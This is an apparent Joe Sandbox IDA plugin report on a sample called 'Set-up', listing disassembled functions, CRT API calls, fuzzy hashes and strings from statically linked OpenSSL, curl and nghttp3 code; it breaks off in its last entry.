Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: strlen
String ID: $ for$:$Ente$crypto/ui/ui_lib.c
API String ID: 39653677-4294831502
Opcode ID: 2839cb7ee02cff65a5ec2896f5473b64b60b256fcde777067c5d9a0950ac5b47
Instruction ID: abb68e272e5627a5fafcde9cd785ffd76351375f6e3cdb2fcc78bb2e4c0b0e88
Opcode Fuzzy Hash: 2839cb7ee02cff65a5ec2896f5473b64b60b256fcde777067c5d9a0950ac5b47
Instruction Fuzzy Hash: CA21CBF69043207BE6119956BC42D6B7BEC9D91394F0A4439FD0C86242F635D924C6E3

Function 00352240 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 90COMMON

Download Yara Rule

APIs

wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,0034F763,?,?,?,?,?), ref: 00352251
WideCharToMultiByte.KERNEL32 ref: 00352284
WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000), ref: 003522BD

Strings

ERR_CAPI_error, xrefs: 0035231A
engines/e_capi.c, xrefs: 00352299, 003522D0, 00352342
engines/e_capi_err.c, xrefs: 00352321

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: ByteCharMultiWide$wcslen
String ID: ERR_CAPI_error$engines/e_capi.c$engines/e_capi_err.c
API String ID: 1062461220-336193293
Opcode ID: c9fe8a266b892469cc4f1ba5f4af2f4db33cf457a255f97928e89f4b94451576
Instruction ID: 07655064a915820c8bc1b3278f1bf83103e209440e1dee7fdf61360d0c58614b
Opcode Fuzzy Hash: c9fe8a266b892469cc4f1ba5f4af2f4db33cf457a255f97928e89f4b94451576
Instruction Fuzzy Hash: 52213BB5F043047BEB202761AC06F2B3648AB91715F148639FD0C661D2EAF85C548F92

Function 004828F0 Relevance: 10.3, APIs: 8, Instructions: 342COMMON

Download Yara Rule

APIs

memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0(?,?,00000005,?,?,?,?,0046DA6D,00000000,0083D9B4,?,?,?,?,?), ref: 0048299B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00482A76
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00020000), ref: 00482A82
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00482AAE
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00482ABA
memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0(?,?,?), ref: 00482B3F
memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0(?,?,00000000), ref: 00482C32
memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0(00000005,?,?,?,?,?,?,0046DA6D,00000000,0083D9B4,?,?,?,?,?), ref: 00482CB2

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: memcpy$freemalloc
String ID:
API String ID: 3313557100-0
Opcode ID: 5046d603a94fd3252230c88e938c23c6d318e10f91fc871fa2bda040c97fa93c
Instruction ID: a995e99d48559c7a30a2231ad8a0654a897aa5fd6e8b1055cfeef67f1dcc7bb6
Opcode Fuzzy Hash: 5046d603a94fd3252230c88e938c23c6d318e10f91fc871fa2bda040c97fa93c
Instruction Fuzzy Hash: 1FD193B16042149BCB14EF2CC984AAE7BE1BF88314F154A2EFC5987391D7B4EC41CB99

Function 002C81F0 Relevance: 9.2, APIs: 5, Strings: 1, Instructions: 198stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,0026A9CE,000000D2), ref: 002C83A3
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0026A9CE), ref: 002C83C6

Part of subcall function 002C60E0: GetLastError.KERNEL32(002C7CCC,?,00000000,002C7127,002C7CCC,00000000,002ECAB7,00111A70), ref: 002C60E3
Part of subcall function 002C60E0: SetLastError.KERNEL32(00000000), ref: 002C61A5

Strings

crypto/err/err_local.h, xrefs: 002C8311, 002C8332, 002C8385, 002C83E8, 002C84BB

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: ErrorLast$strcpystrlen
String ID: crypto/err/err_local.h
API String ID: 542397150-344804083
Opcode ID: 231bcf060da88086aa08c061d8bacaad75574139127562d23c1899331f8f21e6
Instruction ID: 30af4ad794e548e83ed22b2c55f4620b6c5b4d9e93373388c068036d8599ba34
Opcode Fuzzy Hash: 231bcf060da88086aa08c061d8bacaad75574139127562d23c1899331f8f21e6
Instruction Fuzzy Hash: E88187B1510B469FE7238F19E885BE2B7D0FF4030CF448A1DE995872A5EB79A434CB51

Function 00116730 Relevance: 9.2, APIs: 3, Strings: 3, Instructions: 179stringCOMMON

Download Yara Rule

APIs

Part of subcall function 001173F0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,#HttpOnly_,?,0011CA95,006E9AB8,00000467,mprintf.c), ref: 0011741D
Part of subcall function 001173F0: memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0(-00000008,?,00000001), ref: 00117445

Part of subcall function 001547D0: fgets.API-MS-WIN-CRT-STDIO-L1-1-0(00000080,00000080,?), ref: 001547FB
Part of subcall function 001547D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 0015480C
Part of subcall function 001547D0: feof.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 00154837

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 00116844
memcmp.API-MS-WIN-CRT-PRIVATE-L1-1-0(?,unlimited,0000000A), ref: 00116876
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 001168FD

Strings

%256s "%64[^"]", xrefs: 00116857
hsts.c, xrefs: 00116748, 0011675D, 00116777, 0011691D, 0011694E, 0011696F
unlimited, xrefs: 0011686C

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: strlen$feoffgetsmemcmpmemcpy
String ID: %256s "%64[^"]"$hsts.c$unlimited
API String ID: 288886899-2895786126
Opcode ID: e36352199180df2bd61c380ae7fcd49b59bc1530369b7af2356c381af403ba50
Instruction ID: 38a5c09eeb75091ea6c5fc730b5893aa746e61c788e07b01a9e7e7a26de4763c
Opcode Fuzzy Hash: e36352199180df2bd61c380ae7fcd49b59bc1530369b7af2356c381af403ba50
Instruction Fuzzy Hash: 21513D71945341BFDB189B249C42AAB76959F65704F14083CFC48A72C3FB36DA85C7A3

Function 00308240 Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 63stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00000001,00309265,?,00000400,00000000,?), ref: 00308254
memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0(?,?,00309265,?), ref: 00308264
memset.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000,00309265,?,?,?,?,?,?,00309265,?,00000400,00000000,?), ref: 003082C7

Strings

Enter PEM pass phrase:, xrefs: 00308279, 0030828C
PEM_def_callback, xrefs: 003082A1
crypto/pem/pem_lib.c, xrefs: 003082A8

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: memcpymemsetstrlen
String ID: Enter PEM pass phrase:$PEM_def_callback$crypto/pem/pem_lib.c
API String ID: 160209724-3271887637
Opcode ID: 9ab89b393509b280e3562f513ae9baed2de3ef3f5999abe0bafe7bb6e713a09c
Instruction ID: 14eb266a57f70cc0242475a1631dce5b019a2913e888fd0d6c5761605dd78f51
Opcode Fuzzy Hash: 9ab89b393509b280e3562f513ae9baed2de3ef3f5999abe0bafe7bb6e713a09c
Instruction Fuzzy Hash: 13012DE670531137EA107569BC83F6B2A4CCB917A9F08053EFE04E21C3EA55EC1555B6

Function 001B8920 Relevance: 9.0, APIs: 6, Instructions: 45COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 001B895D
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 001B8991
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 001B899A
_write.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 001B89AB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 001B89B4
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 001B89B9

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: __acrt_iob_func_fileno_writeabortfreemalloc
String ID:
API String ID: 1064163434-0
Opcode ID: 408c16d5ee7fe2d9d0f2fdc6e30b45ec9a9249864bbf06c77cc95b5efdb05d46
Instruction ID: 3605c5c3eace6b9cc1fe0b82722e2851a25133e9ef1a3af8a904a8eb45d88554
Opcode Fuzzy Hash: 408c16d5ee7fe2d9d0f2fdc6e30b45ec9a9249864bbf06c77cc95b5efdb05d46
Instruction Fuzzy Hash: BD1192B44093109BD740AF2A858462EFBE8BF99B48F41492EF9C883341EB749944CF93

Function 00498920 Relevance: 9.0, APIs: 6, Instructions: 30COMMON

Download Yara Rule

APIs

_initialize_narrow_environment.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00498928
_configure_narrow_argv.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,0011115A), ref: 0049893D
__p___argc.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,0011115A), ref: 00498942
__p___argv.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,0011115A), ref: 0049894F
__p__environ.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,0011115A), ref: 0049895C
_set_new_mode.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,0011115A), ref: 00498972

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: __p___argc__p___argv__p__environ_configure_narrow_argv_initialize_narrow_environment_set_new_mode
String ID:
API String ID: 3593706420-0
Opcode ID: 1efc63e94736ec762dde092320e3d59adf545601741b22b2780315d7096a2df3
Instruction ID: 57cced812a37d1047887f4b42c6bc0ea65a9352ce9449f4de6686b32b9685a6f
Opcode Fuzzy Hash: 1efc63e94736ec762dde092320e3d59adf545601741b22b2780315d7096a2df3
Instruction Fuzzy Hash: B1F0B7746147408FCB00BF7DC48181A7BE0AF9A318F504AADF5909B362DA39D9419F96

Function 001745C0 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 259COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,00000000,00000000,?,?,00145B6B,00000017,?,?), ref: 00174612
memchr.API-MS-WIN-CRT-PRIVATE-L1-1-0(0123456789abcdef,?,00000011), ref: 00174660

Strings

0123456789abcdef, xrefs: 0017465B, 0017466C
0123456789ABCDEF, xrefs: 00174683, 00174694

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: _errnomemchr
String ID: 0123456789ABCDEF$0123456789abcdef
API String ID: 4119152314-885041942
Opcode ID: ac6f5a8deb80cb9447603a4f7db31bf4c2c5d62d57c698b5df912ab3255717e2
Instruction ID: b4b5944a02b1c2398b4adfaff5bb30cf33900660ddf357f587b58b0027781f07
Opcode Fuzzy Hash: ac6f5a8deb80cb9447603a4f7db31bf4c2c5d62d57c698b5df912ab3255717e2
Instruction Fuzzy Hash: 3591F275A083458BD728DE6CC84027AB7F2AFD6314F19CA2DE9DD87381DB359D848B42

Function 00162250 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 148stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 0016225F
_time64.API-MS-WIN-CRT-TIME-L1-1-0(00000000), ref: 001622CF

Strings

Hostname in DNS cache was stale, zapped, xrefs: 00162322
:%u, xrefs: 00162290, 00162363
Hostname in DNS cache does not have needed family, zapped, xrefs: 001623EF, 001623FE

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: _time64strlen
String ID: :%u$Hostname in DNS cache does not have needed family, zapped$Hostname in DNS cache was stale, zapped
API String ID: 3014104814-1335658360
Opcode ID: e53922ce9046ca4ce7984e52c357c2c889c4d2a19746d6fe8878586ef3f76696
Instruction ID: 7daec466a094138336dc2f5b165bbe9108d2f2979450391de066de317ec087f1
Opcode Fuzzy Hash: e53922ce9046ca4ce7984e52c357c2c889c4d2a19746d6fe8878586ef3f76696
Instruction Fuzzy Hash: 4941E671A007045BD7249A28DC85B7BB7D5BF94319F08443CEE9AC7382EB39AC65C691

Function 001C06F0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 117COMMON

Download Yara Rule

APIs

_assert.API-MS-WIN-CRT-RUNTIME-L1-1-0(ctx->next_absidx > absidx,nghttp3_qpack.c,000008B6,?,?,001C0307,?), ref: 001C07AE
_assert.API-MS-WIN-CRT-RUNTIME-L1-1-0(ctx->next_absidx - absidx - 1 < nghttp3_ringbuf_len(&ctx->dtable),nghttp3_qpack.c,000008B7,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 001C07C3

Strings

ctx->next_absidx > absidx, xrefs: 001C07A9
ctx->next_absidx - absidx - 1 < nghttp3_ringbuf_len(&ctx->dtable), xrefs: 001C07BE
nghttp3_qpack.c, xrefs: 001C07A4, 001C07B9

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: _assert
String ID: ctx->next_absidx - absidx - 1 < nghttp3_ringbuf_len(&ctx->dtable)$ctx->next_absidx > absidx$nghttp3_qpack.c
API String ID: 1222420520-241347991
Opcode ID: cab616e2ba350f5e27ba30af674ccda6d98213bed5b9029336c5f6e51029c0b7
Instruction ID: dd00878e6132eaf9b8d7cbc22f05d3ece721c1201f2165d4e86d91a467f248b4
Opcode Fuzzy Hash: cab616e2ba350f5e27ba30af674ccda6d98213bed5b9029336c5f6e51029c0b7
Instruction Fuzzy Hash: 7F31B1B5B00704AFD315EA28DC81F6B73E5BFA9714F05852CF98597282E730F85587A2

Function 00494610 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 116fileCOMMON

Download Yara Rule

APIs

_stat64.API-MS-WIN-CRT-FILESYSTEM-L1-1-0(00125FB6,?), ref: 00494645
_stat64.API-MS-WIN-CRT-FILESYSTEM-L1-1-0(../list/public_suffix_list.dat,?), ref: 00494698
fopen.API-MS-WIN-CRT-STDIO-L1-1-0(?,007F1278), ref: 00494744
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 00494762

Strings

../list/public_suffix_list.dat, xrefs: 00494693, 004946B9, 004946F5

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
